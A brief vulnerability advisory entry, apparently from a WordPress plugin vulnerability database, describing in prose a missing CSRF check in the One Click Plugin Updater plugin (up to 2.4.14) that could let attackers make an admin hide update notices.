WordPress Plugin Vulnerabilities
One Click Plugin Updater <= 2.4.14 - Arbitrary Settings Update via CSRF
Description
The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and disable / hide the badge of the available updates and the related check.
